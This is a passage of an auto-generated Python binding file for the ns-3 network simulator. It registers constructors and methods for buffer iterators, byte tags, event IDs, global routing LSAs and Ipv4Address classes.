[param('uint64_t', 'data')])
## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteU16(uint16_t data) [member function]
cls.add_method('WriteU16',
'void',
[param('uint16_t', 'data')])
## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteU32(uint32_t data) [member function]
cls.add_method('WriteU32',
'void',
[param('uint32_t', 'data')])
## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteU64(uint64_t data) [member function]
cls.add_method('WriteU64',
'void',
[param('uint64_t', 'data')])
## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteU8(uint8_t data) [member function]
cls.add_method('WriteU8',
'void',
[param('uint8_t', 'data')])
## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteU8(uint8_t data, uint32_t len) [member function]
cls.add_method('WriteU8',
'void',
[param('uint8_t', 'data'), param('uint32_t', 'len')])
return
def register_Ns3ByteTagIterator_methods(root_module, cls):
## packet.h (module 'network'): ns3::ByteTagIterator::ByteTagIterator(ns3::ByteTagIterator const & arg0) [copy constructor]
cls.add_constructor([param('ns3::ByteTagIterator const &', 'arg0')])
## packet.h (module 'network'): bool ns3::ByteTagIterator::HasNext() const [member function]
cls.add_method('HasNext',
'bool',
[],
is_const=True)
## packet.h (module 'network'): ns3::ByteTagIterator::Item ns3::ByteTagIterator::Next() [member function]
cls.add_method('Next',
'ns3::ByteTagIterator::Item',
[])
return
def register_Ns3ByteTagIteratorItem_methods(root_module, cls):
## packet.h (module 'network'): ns3::ByteTagIterator::Item::Item(ns3::ByteTagIterator::Item const & arg0) [copy constructor]
cls.add_constructor([param('ns3::ByteTagIterator::Item const &', 'arg0')])
## packet.h (module 'network'): uint32_t ns3::ByteTagIterator::Item::GetEnd() const [member function]
cls.add_method('GetEnd',
'uint32_t',
[],
is_const=True)
## packet.h (module 'network'): uint32_t ns3::ByteTagIterator::Item::GetStart() const [member function]
cls.add_method('GetStart',
'uint32_t',
[],
is_const=True)
## packet.h (module 'network'): void ns3::ByteTagIterator::Item::GetTag(ns3::Tag & tag) const [member function]
cls.add_method('GetTag',
'void',
[param('ns3::Tag &', 'tag')],
is_const=True)
## packet.h (module 'network'): ns3::TypeId ns3::ByteTagIterator::Item::GetTypeId() const [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_const=True)
return
def register_Ns3ByteTagList_methods(root_module, cls):
## byte-tag-list.h (module 'network'): ns3::ByteTagList::ByteTagList() [constructor]
cls.add_constructor([])
## byte-tag-list.h (module 'network'): ns3::ByteTagList::ByteTagList(ns3::ByteTagList const & o) [copy constructor]
cls.add_constructor([param('ns3::ByteTagList const &', 'o')])
## byte-tag-list.h (module 'network'): ns3::TagBuffer ns3::ByteTagList::Add(ns3::TypeId tid, uint32_t bufferSize, int32_t start, int32_t end) [member function]
cls.add_method('Add',
'ns3::TagBuffer',
[param('ns3::TypeId', 'tid'), param('uint32_t', 'bufferSize'), param('int32_t', 'start'), param('int32_t', 'end')])
## byte-tag-list.h (module 'network'): void ns3::ByteTagList::Add(ns3::ByteTagList const & o) [member function]
cls.add_method('Add',
'void',
[param('ns3::ByteTagList const &', 'o')])
## byte-tag-list.h (module 'network'): void ns3::ByteTagList::AddAtEnd(int32_t adjustment, int32_t appendOffset) [member function]
cls.add_method('AddAtEnd',
'void',
[param('int32_t', 'adjustment'), param('int32_t', 'appendOffset')])
## byte-tag-list.h (module 'network'): void ns3::ByteTagList::AddAtStart(int32_t adjustment, int32_t prependOffset) [member function]
cls.add_method('AddAtStart',
'void',
[param('int32_t', 'adjustment'), param('int32_t', 'prependOffset')])
## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator ns3::ByteTagList::Begin(int32_t offsetStart, int32_t offsetEnd) const [member function]
cls.add_method('Begin',
'ns3::ByteTagList::Iterator',
[param('int32_t', 'offsetStart'), param('int32_t', 'offsetEnd')],
is_const=True)
## byte-tag-list.h (module 'network'): void ns3::ByteTagList::RemoveAll() [member function]
cls.add_method('RemoveAll',
'void',
[])
return
def register_Ns3ByteTagListIterator_methods(root_module, cls):
## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Iterator(ns3::ByteTagList::Iterator const & arg0) [copy constructor]
cls.add_constructor([param('ns3::ByteTagList::Iterator const &', 'arg0')])
## byte-tag-list.h (module 'network'): uint32_t ns3::ByteTagList::Iterator::GetOffsetStart() const [member function]
cls.add_method('GetOffsetStart',
'uint32_t',
[],
is_const=True)
## byte-tag-list.h (module 'network'): bool ns3::ByteTagList::Iterator::HasNext() const [member function]
cls.add_method('HasNext',
'bool',
[],
is_const=True)
## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item ns3::ByteTagList::Iterator::Next() [member function]
cls.add_method('Next',
'ns3::ByteTagList::Iterator::Item',
[])
return
def register_Ns3ByteTagListIteratorItem_methods(root_module, cls):
## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item::Item(ns3::ByteTagList::Iterator::Item const & arg0) [copy constructor]
cls.add_constructor([param('ns3::ByteTagList::Iterator::Item const &', 'arg0')])
## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item::Item(ns3::TagBuffer buf) [constructor]
cls.add_constructor([param('ns3::TagBuffer', 'buf')])
## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item::buf [variable]
cls.add_instance_attribute('buf', 'ns3::TagBuffer', is_const=False)
## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item::end [variable]
cls.add_instance_attribute('end', 'int32_t', is_const=False)
## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item::size [variable]
cls.add_instance_attribute('size', 'uint32_t', is_const=False)
## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item::start [variable]
cls.add_instance_attribute('start', 'int32_t', is_const=False)
## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item::tid [variable]
cls.add_instance_attribute('tid', 'ns3::TypeId', is_const=False)
return
def register_Ns3CallbackBase_methods(root_module, cls):
## callback.h (module 'core'): ns3::CallbackBase::CallbackBase(ns3::CallbackBase const & arg0) [copy constructor]
cls.add_constructor([param('ns3::CallbackBase const &', 'arg0')])
## callback.h (module 'core'): ns3::CallbackBase::CallbackBase() [constructor]
cls.add_constructor([])
## callback.h (module 'core'): ns3::Ptr<ns3::CallbackImplBase> ns3::CallbackBase::GetImpl() const [member function]
cls.add_method('GetImpl',
'ns3::Ptr< ns3::CallbackImplBase >',
[],
is_const=True)
## callback.h (module 'core'): ns3::CallbackBase::CallbackBase(ns3::Ptr<ns3::CallbackImplBase> impl) [constructor]
cls.add_constructor([param('ns3::Ptr< ns3::CallbackImplBase >', 'impl')],
visibility='protected')
## callback.h (module 'core'): static std::string ns3::CallbackBase::Demangle(std::string const & mangled) [member function]
cls.add_method('Demangle',
'std::string',
[param('std::string const &', 'mangled')],
is_static=True, visibility='protected')
return
def register_Ns3CandidateQueue_methods(root_module, cls):
cls.add_output_stream_operator()
## candidate-queue.h (module 'internet'): ns3::CandidateQueue::CandidateQueue() [constructor]
cls.add_constructor([])
## candidate-queue.h (module 'internet'): void ns3::CandidateQueue::Clear() [member function]
cls.add_method('Clear',
'void',
[])
## candidate-queue.h (module 'internet'): bool ns3::CandidateQueue::Empty() const [member function]
cls.add_method('Empty',
'bool',
[],
is_const=True)
## candidate-queue.h (module 'internet'): ns3::SPFVertex * ns3::CandidateQueue::Find(ns3::Ipv4Address const addr) const [member function]
cls.add_method('Find',
'ns3::SPFVertex *',
[param('ns3::Ipv4Address const', 'addr')],
is_const=True)
## candidate-queue.h (module 'internet'): ns3::SPFVertex * ns3::CandidateQueue::Pop() [member function]
cls.add_method('Pop',
'ns3::SPFVertex *',
[])
## candidate-queue.h (module 'internet'): void ns3::CandidateQueue::Push(ns3::SPFVertex * vNew) [member function]
cls.add_method('Push',
'void',
[param('ns3::SPFVertex *', 'vNew')])
## candidate-queue.h (module 'internet'): void ns3::CandidateQueue::Reorder() [member function]
cls.add_method('Reorder',
'void',
[])
## candidate-queue.h (module 'internet'): uint32_t ns3::CandidateQueue::Size() const [member function]
cls.add_method('Size',
'uint32_t',
[],
is_const=True)
## candidate-queue.h (module 'internet'): ns3::SPFVertex * ns3::CandidateQueue::Top() const [member function]
cls.add_method('Top',
'ns3::SPFVertex *',
[],
is_const=True)
return
def register_Ns3EventId_methods(root_module, cls):
cls.add_binary_comparison_operator('!=')
cls.add_binary_comparison_operator('==')
## event-id.h (module 'core'): ns3::EventId::EventId(ns3::EventId const & arg0) [copy constructor]
cls.add_constructor([param('ns3::EventId const &', 'arg0')])
## event-id.h (module 'core'): ns3::EventId::EventId() [constructor]
cls.add_constructor([])
## event-id.h (module 'core'): ns3::EventId::EventId(ns3::Ptr<ns3::EventImpl> const & impl, uint64_t ts, uint32_t context, uint32_t uid) [constructor]
cls.add_constructor([param('ns3::Ptr< ns3::EventImpl > const &', 'impl'), param('uint64_t', 'ts'), param('uint32_t', 'context'), param('uint32_t', 'uid')])
## event-id.h (module 'core'): void ns3::EventId::Cancel() [member function]
cls.add_method('Cancel',
'void',
[])
## event-id.h (module 'core'): uint32_t ns3::EventId::GetContext() const [member function]
cls.add_method('GetContext',
'uint32_t',
[],
is_const=True)
## event-id.h (module 'core'): uint64_t ns3::EventId::GetTs() const [member function]
cls.add_method('GetTs',
'uint64_t',
[],
is_const=True)
## event-id.h (module 'core'): uint32_t ns3::EventId::GetUid() const [member function]
cls.add_method('GetUid',
'uint32_t',
[],
is_const=True)
## event-id.h (module 'core'): bool ns3::EventId::IsExpired() const [member function]
cls.add_method('IsExpired',
'bool',
[],
is_const=True)
## event-id.h (module 'core'): bool ns3::EventId::IsRunning() const [member function]
cls.add_method('IsRunning',
'bool',
[],
is_const=True)
## event-id.h (module 'core'): ns3::EventImpl * ns3::EventId::PeekEventImpl() const [member function]
cls.add_method('PeekEventImpl',
'ns3::EventImpl *',
[],
is_const=True)
return
def register_Ns3GlobalRouteManager_methods(root_module, cls):
## global-route-manager.h (module 'internet'): static uint32_t ns3::GlobalRouteManager::AllocateRouterId() [member function]
cls.add_method('AllocateRouterId',
'uint32_t',
[],
is_static=True)
## global-route-manager.h (module 'internet'): static void ns3::GlobalRouteManager::DeleteGlobalRoutes() [member function]
cls.add_method('DeleteGlobalRoutes',
'void',
[],
is_static=True)
## global-route-manager.h (module 'internet'): static void ns3::GlobalRouteManager::BuildGlobalRoutingDatabase() [member function]
cls.add_method('BuildGlobalRoutingDatabase',
'void',
[],
is_static=True)
## global-route-manager.h (module 'internet'): static void ns3::GlobalRouteManager::InitializeRoutes() [member function]
cls.add_method('InitializeRoutes',
'void',
[],
is_static=True)
return
def register_Ns3GlobalRouteManagerImpl_methods(root_module, cls):
## global-route-manager-impl.h (module 'internet'): ns3::GlobalRouteManagerImpl::GlobalRouteManagerImpl() [constructor]
cls.add_constructor([])
## global-route-manager-impl.h (module 'internet'): void ns3::GlobalRouteManagerImpl::DeleteGlobalRoutes() [member function]
cls.add_method('DeleteGlobalRoutes',
'void',
[],
is_virtual=True)
## global-route-manager-impl.h (module 'internet'): void ns3::GlobalRouteManagerImpl::BuildGlobalRoutingDatabase() [member function]
cls.add_method('BuildGlobalRoutingDatabase',
'void',
[],
is_virtual=True)
## global-route-manager-impl.h (module 'internet'): void ns3::GlobalRouteManagerImpl::InitializeRoutes() [member function]
cls.add_method('InitializeRoutes',
'void',
[],
is_virtual=True)
## global-route-manager-impl.h (module 'internet'): void ns3::GlobalRouteManagerImpl::DebugUseLsdb(ns3::GlobalRouteManagerLSDB * arg0) [member function]
cls.add_method('DebugUseLsdb',
'void',
[param('ns3::GlobalRouteManagerLSDB *', 'arg0')])
## global-route-manager-impl.h (module 'internet'): void ns3::GlobalRouteManagerImpl::DebugSPFCalculate(ns3::Ipv4Address root) [member function]
cls.add_method('DebugSPFCalculate',
'void',
[param('ns3::Ipv4Address', 'root')])
return
def register_Ns3GlobalRouteManagerLSDB_methods(root_module, cls):
## global-route-manager-impl.h (module 'internet'): ns3::GlobalRouteManagerLSDB::GlobalRouteManagerLSDB() [constructor]
cls.add_constructor([])
## global-route-manager-impl.h (module 'internet'): void ns3::GlobalRouteManagerLSDB::Insert(ns3::Ipv4Address addr, ns3::GlobalRoutingLSA * lsa) [member function]
cls.add_method('Insert',
'void',
[param('ns3::Ipv4Address', 'addr'), param('ns3::GlobalRoutingLSA *', 'lsa')])
## global-route-manager-impl.h (module 'internet'): ns3::GlobalRoutingLSA * ns3::GlobalRouteManagerLSDB::GetLSA(ns3::Ipv4Address addr) const [member function]
cls.add_method('GetLSA',
'ns3::GlobalRoutingLSA *',
[param('ns3::Ipv4Address', 'addr')],
is_const=True)
## global-route-manager-impl.h (module 'internet'): ns3::GlobalRoutingLSA * ns3::GlobalRouteManagerLSDB::GetLSAByLinkData(ns3::Ipv4Address addr) const [member function]
cls.add_method('GetLSAByLinkData',
'ns3::GlobalRoutingLSA *',
[param('ns3::Ipv4Address', 'addr')],
is_const=True)
## global-route-manager-impl.h (module 'internet'): void ns3::GlobalRouteManagerLSDB::Initialize() [member function]
cls.add_method('Initialize',
'void',
[])
## global-route-manager-impl.h (module 'internet'): ns3::GlobalRoutingLSA * ns3::GlobalRouteManagerLSDB::GetExtLSA(uint32_t index) const [member function]
cls.add_method('GetExtLSA',
'ns3::GlobalRoutingLSA *',
[param('uint32_t', 'index')],
is_const=True)
## global-route-manager-impl.h (module 'internet'): uint32_t ns3::GlobalRouteManagerLSDB::GetNumExtLSAs() const [member function]
cls.add_method('GetNumExtLSAs',
'uint32_t',
[],
is_const=True)
return
def register_Ns3GlobalRoutingLSA_methods(root_module, cls):
cls.add_output_stream_operator()
## global-router-interface.h (module 'internet'): ns3::GlobalRoutingLSA::GlobalRoutingLSA() [constructor]
cls.add_constructor([])
## global-router-interface.h (module 'internet'): ns3::GlobalRoutingLSA::GlobalRoutingLSA(ns3::GlobalRoutingLSA::SPFStatus status, ns3::Ipv4Address linkStateId, ns3::Ipv4Address advertisingRtr) [constructor]
cls.add_constructor([param('ns3::GlobalRoutingLSA::SPFStatus', 'status'), param('ns3::Ipv4Address', 'linkStateId'), param('ns3::Ipv4Address', 'advertisingRtr')])
## global-router-interface.h (module 'internet'): ns3::GlobalRoutingLSA::GlobalRoutingLSA(ns3::GlobalRoutingLSA & lsa) [constructor]
cls.add_constructor([param('ns3::GlobalRoutingLSA &', 'lsa')])
## global-router-interface.h (module 'internet'): uint32_t ns3::GlobalRoutingLSA::AddAttachedRouter(ns3::Ipv4Address addr) [member function]
cls.add_method('AddAttachedRouter',
'uint32_t',
[param('ns3::Ipv4Address', 'addr')])
## global-router-interface.h (module 'internet'): uint32_t ns3::GlobalRoutingLSA::AddLinkRecord(ns3::GlobalRoutingLinkRecord * lr) [member function]
cls.add_method('AddLinkRecord',
'uint32_t',
[param('ns3::GlobalRoutingLinkRecord *', 'lr')])
## global-router-interface.h (module 'internet'): void ns3::GlobalRoutingLSA::ClearLinkRecords() [member function]
cls.add_method('ClearLinkRecords',
'void',
[])
## global-router-interface.h (module 'internet'): void ns3::GlobalRoutingLSA::CopyLinkRecords(ns3::GlobalRoutingLSA const & lsa) [member function]
cls.add_method('CopyLinkRecords',
'void',
[param('ns3::GlobalRoutingLSA const &', 'lsa')])
## global-router-interface.h (module 'internet'): ns3::Ipv4Address ns3::GlobalRoutingLSA::GetAdvertisingRouter() const [member function]
cls.add_method('GetAdvertisingRouter',
'ns3::Ipv4Address',
[],
is_const=True)
## global-router-interface.h (module 'internet'): ns3::Ipv4Address ns3::GlobalRoutingLSA::GetAttachedRouter(uint32_t n) const [member function]
cls.add_method('GetAttachedRouter',
'ns3::Ipv4Address',
[param('uint32_t', 'n')],
is_const=True)
## global-router-interface.h (module 'internet'): ns3::GlobalRoutingLSA::LSType ns3::GlobalRoutingLSA::GetLSType() const [member function]
cls.add_method('GetLSType',
'ns3::GlobalRoutingLSA::LSType',
[],
is_const=True)
## global-router-interface.h (module 'internet'): ns3::GlobalRoutingLinkRecord * ns3::GlobalRoutingLSA::GetLinkRecord(uint32_t n) const [member function]
cls.add_method('GetLinkRecord',
'ns3::GlobalRoutingLinkRecord *',
[param('uint32_t', 'n')],
is_const=True)
## global-router-interface.h (module 'internet'): ns3::Ipv4Address ns3::GlobalRoutingLSA::GetLinkStateId() const [member function]
cls.add_method('GetLinkStateId',
'ns3::Ipv4Address',
[],
is_const=True)
## global-router-interface.h (module 'internet'): uint32_t ns3::GlobalRoutingLSA::GetNAttachedRouters() const [member function]
cls.add_method('GetNAttachedRouters',
'uint32_t',
[],
is_const=True)
## global-router-interface.h (module 'internet'): uint32_t ns3::GlobalRoutingLSA::GetNLinkRecords() const [member function]
cls.add_method('GetNLinkRecords',
'uint32_t',
[],
is_const=True)
## global-router-interface.h (module 'internet'): ns3::Ipv4Mask ns3::GlobalRoutingLSA::GetNetworkLSANetworkMask() const [member function]
cls.add_method('GetNetworkLSANetworkMask',
'ns3::Ipv4Mask',
[],
is_const=True)
## global-router-interface.h (module 'internet'): ns3::Ptr<ns3::Node> ns3::GlobalRoutingLSA::GetNode() const [member function]
cls.add_method('GetNode',
'ns3::Ptr< ns3::Node >',
[],
is_const=True)
## global-router-interface.h (module 'internet'): ns3::GlobalRoutingLSA::SPFStatus ns3::GlobalRoutingLSA::GetStatus() const [member function]
cls.add_method('GetStatus',
'ns3::GlobalRoutingLSA::SPFStatus',
[],
is_const=True)
## global-router-interface.h (module 'internet'): bool ns3::GlobalRoutingLSA::IsEmpty() const [member function]
cls.add_method('IsEmpty',
'bool',
[],
is_const=True)
## global-router-interface.h (module 'internet'): void ns3::GlobalRoutingLSA::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True)
## global-router-interface.h (module 'internet'): void ns3::GlobalRoutingLSA::SetAdvertisingRouter(ns3::Ipv4Address rtr) [member function]
cls.add_method('SetAdvertisingRouter',
'void',
[param('ns3::Ipv4Address', 'rtr')])
## global-router-interface.h (module 'internet'): void ns3::GlobalRoutingLSA::SetLSType(ns3::GlobalRoutingLSA::LSType typ) [member function]
cls.add_method('SetLSType',
'void',
[param('ns3::GlobalRoutingLSA::LSType', 'typ')])
## global-router-interface.h (module 'internet'): void ns3::GlobalRoutingLSA::SetLinkStateId(ns3::Ipv4Address addr) [member function]
cls.add_method('SetLinkStateId',
'void',
[param('ns3::Ipv4Address', 'addr')])
## global-router-interface.h (module 'internet'): void ns3::GlobalRoutingLSA::SetNetworkLSANetworkMask(ns3::Ipv4Mask mask) [member function]
cls.add_method('SetNetworkLSANetworkMask',
'void',
[param('ns3::Ipv4Mask', 'mask')])
## global-router-interface.h (module 'internet'): void ns3::GlobalRoutingLSA::SetNode(ns3::Ptr<ns3::Node> node) [member function]
cls.add_method('SetNode',
'void',
[param('ns3::Ptr< ns3::Node >', 'node')])
## global-router-interface.h (module 'internet'): void ns3::GlobalRoutingLSA::SetStatus(ns3::GlobalRoutingLSA::SPFStatus status) [member function]
cls.add_method('SetStatus',
'void',
[param('ns3::GlobalRoutingLSA::SPFStatus', 'status')])
return
def register_Ns3GlobalRoutingLinkRecord_methods(root_module, cls):
## global-router-interface.h (module 'internet'): ns3::GlobalRoutingLinkRecord::GlobalRoutingLinkRecord(ns3::GlobalRoutingLinkRecord const & arg0) [copy constructor]
cls.add_constructor([param('ns3::GlobalRoutingLinkRecord const &', 'arg0')])
## global-router-interface.h (module 'internet'): ns3::GlobalRoutingLinkRecord::GlobalRoutingLinkRecord() [constructor]
cls.add_constructor([])
## global-router-interface.h (module 'internet'): ns3::GlobalRoutingLinkRecord::GlobalRoutingLinkRecord(ns3::GlobalRoutingLinkRecord::LinkType linkType, ns3::Ipv4Address linkId, ns3::Ipv4Address linkData, uint16_t metric) [constructor]
cls.add_constructor([param('ns3::GlobalRoutingLinkRecord::LinkType', 'linkType'), param('ns3::Ipv4Address', 'linkId'), param('ns3::Ipv4Address', 'linkData'), param('uint16_t', 'metric')])
## global-router-interface.h (module 'internet'): ns3::Ipv4Address ns3::GlobalRoutingLinkRecord::GetLinkData() const [member function]
cls.add_method('GetLinkData',
'ns3::Ipv4Address',
[],
is_const=True)
## global-router-interface.h (module 'internet'): ns3::Ipv4Address ns3::GlobalRoutingLinkRecord::GetLinkId() const [member function]
cls.add_method('GetLinkId',
'ns3::Ipv4Address',
[],
is_const=True)
## global-router-interface.h (module 'internet'): ns3::GlobalRoutingLinkRecord::LinkType ns3::GlobalRoutingLinkRecord::GetLinkType() const [member function]
cls.add_method('GetLinkType',
'ns3::GlobalRoutingLinkRecord::LinkType',
[],
is_const=True)
## global-router-interface.h (module 'internet'): uint16_t ns3::GlobalRoutingLinkRecord::GetMetric() const [member function]
cls.add_method('GetMetric',
'uint16_t',
[],
is_const=True)
## global-router-interface.h (module 'internet'): void ns3::GlobalRoutingLinkRecord::SetLinkData(ns3::Ipv4Address addr) [member function]
cls.add_method('SetLinkData',
'void',
[param('ns3::Ipv4Address', 'addr')])
## global-router-interface.h (module 'internet'): void ns3::GlobalRoutingLinkRecord::SetLinkId(ns3::Ipv4Address addr) [member function]
cls.add_method('SetLinkId',
'void',
[param('ns3::Ipv4Address', 'addr')])
## global-router-interface.h (module 'internet'): void ns3::GlobalRoutingLinkRecord::SetLinkType(ns3::GlobalRoutingLinkRecord::LinkType linkType) [member function]
cls.add_method('SetLinkType',
'void',
[param('ns3::GlobalRoutingLinkRecord::LinkType', 'linkType')])
## global-router-interface.h (module 'internet'): void ns3::GlobalRoutingLinkRecord::SetMetric(uint16_t metric) [member function]
cls.add_method('SetMetric',
'void',
[param('uint16_t', 'metric')])
return
def register_Ns3IntToType__0_methods(root_module, cls):
## int-to-type.h (module 'core'): ns3::IntToType<0>::IntToType() [constructor]
cls.add_constructor([])
## int-to-type.h (module 'core'): ns3::IntToType<0>::IntToType(ns3::IntToType<0> const & arg0) [copy constructor]
cls.add_constructor([param('ns3::IntToType< 0 > const &', 'arg0')])
return
def register_Ns3IntToType__1_methods(root_module, cls):
## int-to-type.h (module 'core'): ns3::IntToType<1>::IntToType() [constructor]
cls.add_constructor([])
## int-to-type.h (module 'core'): ns3::IntToType<1>::IntToType(ns3::IntToType<1> const & arg0) [copy constructor]
cls.add_constructor([param('ns3::IntToType< 1 > const &', 'arg0')])
return
def register_Ns3IntToType__2_methods(root_module, cls):
## int-to-type.h (module 'core'): ns3::IntToType<2>::IntToType() [constructor]
cls.add_constructor([])
## int-to-type.h (module 'core'): ns3::IntToType<2>::IntToType(ns3::IntToType<2> const & arg0) [copy constructor]
cls.add_constructor([param('ns3::IntToType< 2 > const &', 'arg0')])
return
def register_Ns3IntToType__3_methods(root_module, cls):
## int-to-type.h (module 'core'): ns3::IntToType<3>::IntToType() [constructor]
cls.add_constructor([])
## int-to-type.h (module 'core'): ns3::IntToType<3>::IntToType(ns3::IntToType<3> const & arg0) [copy constructor]
cls.add_constructor([param('ns3::IntToType< 3 > const &', 'arg0')])
return
def register_Ns3IntToType__4_methods(root_module, cls):
## int-to-type.h (module 'core'): ns3::IntToType<4>::IntToType() [constructor]
cls.add_constructor([])
## int-to-type.h (module 'core'): ns3::IntToType<4>::IntToType(ns3::IntToType<4> const & arg0) [copy constructor]
cls.add_constructor([param('ns3::IntToType< 4 > const &', 'arg0')])
return
def register_Ns3IntToType__5_methods(root_module, cls):
## int-to-type.h (module 'core'): ns3::IntToType<5>::IntToType() [constructor]
cls.add_constructor([])
## int-to-type.h (module 'core'): ns3::IntToType<5>::IntToType(ns3::IntToType<5> const & arg0) [copy constructor]
cls.add_constructor([param('ns3::IntToType< 5 > const &', 'arg0')])
return
def register_Ns3IntToType__6_methods(root_module, cls):
## int-to-type.h (module 'core'): ns3::IntToType<6>::IntToType() [constructor]
cls.add_constructor([])
## int-to-type.h (module 'core'): ns3::IntToType<6>::IntToType(ns3::IntToType<6> const & arg0) [copy constructor]
cls.add_constructor([param('ns3::IntToType< 6 > const &', 'arg0')])
return
def register_Ns3Ipv4Address_methods(root_module, cls):
cls.add_binary_comparison_operator('!=')
cls.add_binary_comparison_operator('<')
cls.add_output_stream_operator()
cls.add_binary_comparison_operator('==')
## ipv4-address.h (module 'network'): ns3::Ipv4Address::Ipv4Address(ns3::Ipv4Address const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv4Address const &', 'arg0')])
## ipv4-address.h (module 'network'): ns3::Ipv4Address::Ipv4Address() [constructor]
cls.add_constructor([])
## ipv4-address.h (module 'network'): ns3::Ipv4Address::Ipv4Address(uint32_t address) [constructor]
cls.add_constructor([param('uint32_t', 'address')])
## ipv4-address.h (module 'network'): ns3::Ipv4Address::Ipv4Address(char const * address) [constructor]
cls.add_constructor([param('char const *', 'address')])
## ipv4-address.h (module 'network'): ns3::Ipv4Address ns3::Ipv4Address::CombineMask(ns3::Ipv4Mask const & mask) const [member function]
cls.add_method('CombineMask',
'ns3::Ipv4Address',
[param('ns3::Ipv4Mask const &', 'mask')],
is_const=True)
## ipv4-address.h (module 'network'): static ns3::Ipv4Address ns3::Ipv4Address::ConvertFrom(ns3::Address const & address) [member function]
cls.add_method('ConvertFrom',
'ns3::Ipv4Address',
[param('ns3::Address const &', 'address')],
is_static=True)
## ipv4-address.h (module 'network'): static ns3::Ipv4Address ns3::Ipv4Address::Deserialize(uint8_t const * buf) [member function]
cls.add_method('Deserialize',
'ns3::Ipv4Address',
[param('uint8_t const *', 'buf')],
is_static=True)
## ipv4-address.h (module 'network'): uint32_t ns3::Ipv4Address::Get() const [member function]
cls.add_method('Get',
'uint32_t',
[],
is_const=True)
## ipv4-address.h (module 'network'): static ns3::Ipv4Address ns3::Ipv4Address::GetAny() [member function]
cls.add_method('GetAny',
'ns3::Ipv4Address',
[],
is_static=True)
## ipv4-address.h (module 'network'): static ns3::Ipv4Address ns3::Ipv4Address::GetBroadcast() [member function]
cls.add_method('GetBroadcast',
'ns3::Ipv4Address',
[],
is_static=True)
## ipv4-address.h (module 'network'): static ns3::Ipv4Address ns3::Ipv4Address::GetLoopback() [member function]
cls.add_method('GetLoopback',
'ns3::Ipv4Address',
[],
is_static=True)
## ipv4-address.h (module 'network'): ns3::Ipv4Address ns3::Ipv4Address::GetSubnetDirectedBroadcast(ns3::Ipv4Mask const & mask) const [member function]
cls.add_method('GetSubnetDirectedBroadcast',
'ns3::Ipv4Address',
[param('ns3::Ipv4Mask const &', 'mask')],
is_const=True)
## ipv4-address.h (module 'network'): static ns3::Ipv4Address ns3::Ipv4Address::GetZero() [member function]
cls.add_method('GetZero',
'ns3::Ipv4Address',
[],
is_static=True)
## ipv4-address.h (module 'network'): bool ns3::Ipv4Address::IsBroadcast() const [member function]
cls.add_method('IsBroadcast',
'bool',
[],
is_const=True)
## ipv4-address.h (module 'network'): bool ns3::Ipv4Address::IsEqual(ns3::Ipv4Address const & other) const [member function]
cls.add_method('IsEqual',
'bool',
[param('ns3::Ipv4Address const &', 'other')],
is_const=True)
## ipv4-address.h (module 'network'): bool ns3::Ipv4Address::IsLocalMulticast() const [member function]
cls.add_method('IsLocalMulticast',
'bool',
[],
is_const=True)
## ipv4-address.h (module 'network'): static bool ns3::Ipv4Address::IsMatchingType(ns3::Address const & address) [member function]
cls.add_method('IsMatchingType',
'bool',
[param('ns3::Address const &', 'address')],
is_static=True)
## ipv4-address.h (module 'network'): bool ns3::Ipv4Address::IsMulticast() const [member function]
cls.add_method('IsMulticast',
'bool',
[],
is_const=True)
## ipv4-address.h (module 'network'): bool ns3::Ipv4Address::IsSubnetDirectedBroadcast(ns3::Ipv4Mask const & mask) const [member function]
cls.add_method('IsSubnetDirectedBroadcast',
'bool',
[param('ns3::Ipv4Mask const &', 'mask')],
is_const=True)
## ipv4-address.h (module 'network'): void ns3::Ipv4Address::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True)
## ipv4-address.h (module 'network'): void ns3::Ipv4Address::Serialize(uint8_t * buf) const [member function]
cls.add_method('Serialize',
'void',
[param('uint8_t *', 'buf')],
is_const=True)
## ipv4-address.h (module 'network'): void ns3::Ipv4Address::Set(uint32_t address) [member function]
cls.add_method('Set',
'void',
[param('uint32_t', 'address')])
## ipv4-address.h (module 'network'): void ns3::Ipv4Address::Set(char const * address) [member function]
cls.add_method('Set',
'void',
[param('char const *', 'address')])
return
def register_Ns3Ipv4AddressGenerator_methods(root_module, cls):
## ipv4-address-generator.h (module 'internet'): ns3::Ipv4AddressGenerator::Ipv4AddressGenerator() [constructor]
cls.add_constructor([])
## ipv4-address-generator.h (module 'internet'): ns3::Ipv4AddressGenerator::Ipv4AddressGenerator(ns3::Ipv4AddressGenerator const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv4AddressGenerator const &', 'arg0')])
## ipv4-address-generator.h (module 'internet'): static bool ns3::Ipv4AddressGenerator::AddAllocated(ns3::Ipv4Address const addr) [member function]
cls.add_method('AddAllocated',
'bool',
[param('ns3::Ipv4Address const', 'addr')],
is_static=True)
## ipv4-address-generator.h (module 'internet'): static ns3::Ipv4Address ns3::Ipv4AddressGenerator::GetAddress(ns3::Ipv4Mask const mask) [member function]
cls.add_method('GetAddress',
'ns3::Ipv4Address',
[param('ns3::Ipv4Mask const', 'mask')],
is_static=True)
## ipv4-address-generator.h (module 'internet'): static ns3::Ipv4Address ns3::Ipv4AddressGenerator::GetNetwork(ns3::Ipv4Mask const mask) [member function]
cls.add_method('GetNetwork',
'ns3::Ipv4Address',
[param('ns3::Ipv4Mask const', 'mask')],
is_static=True)
## ipv4-address-generator.h (module 'internet'): static void ns3::Ipv4AddressGenerator::Init(ns3::Ipv4Address const net, ns3::Ipv4Mask const mask, ns3::Ipv4Address const addr="0.0.0.1") [member function]
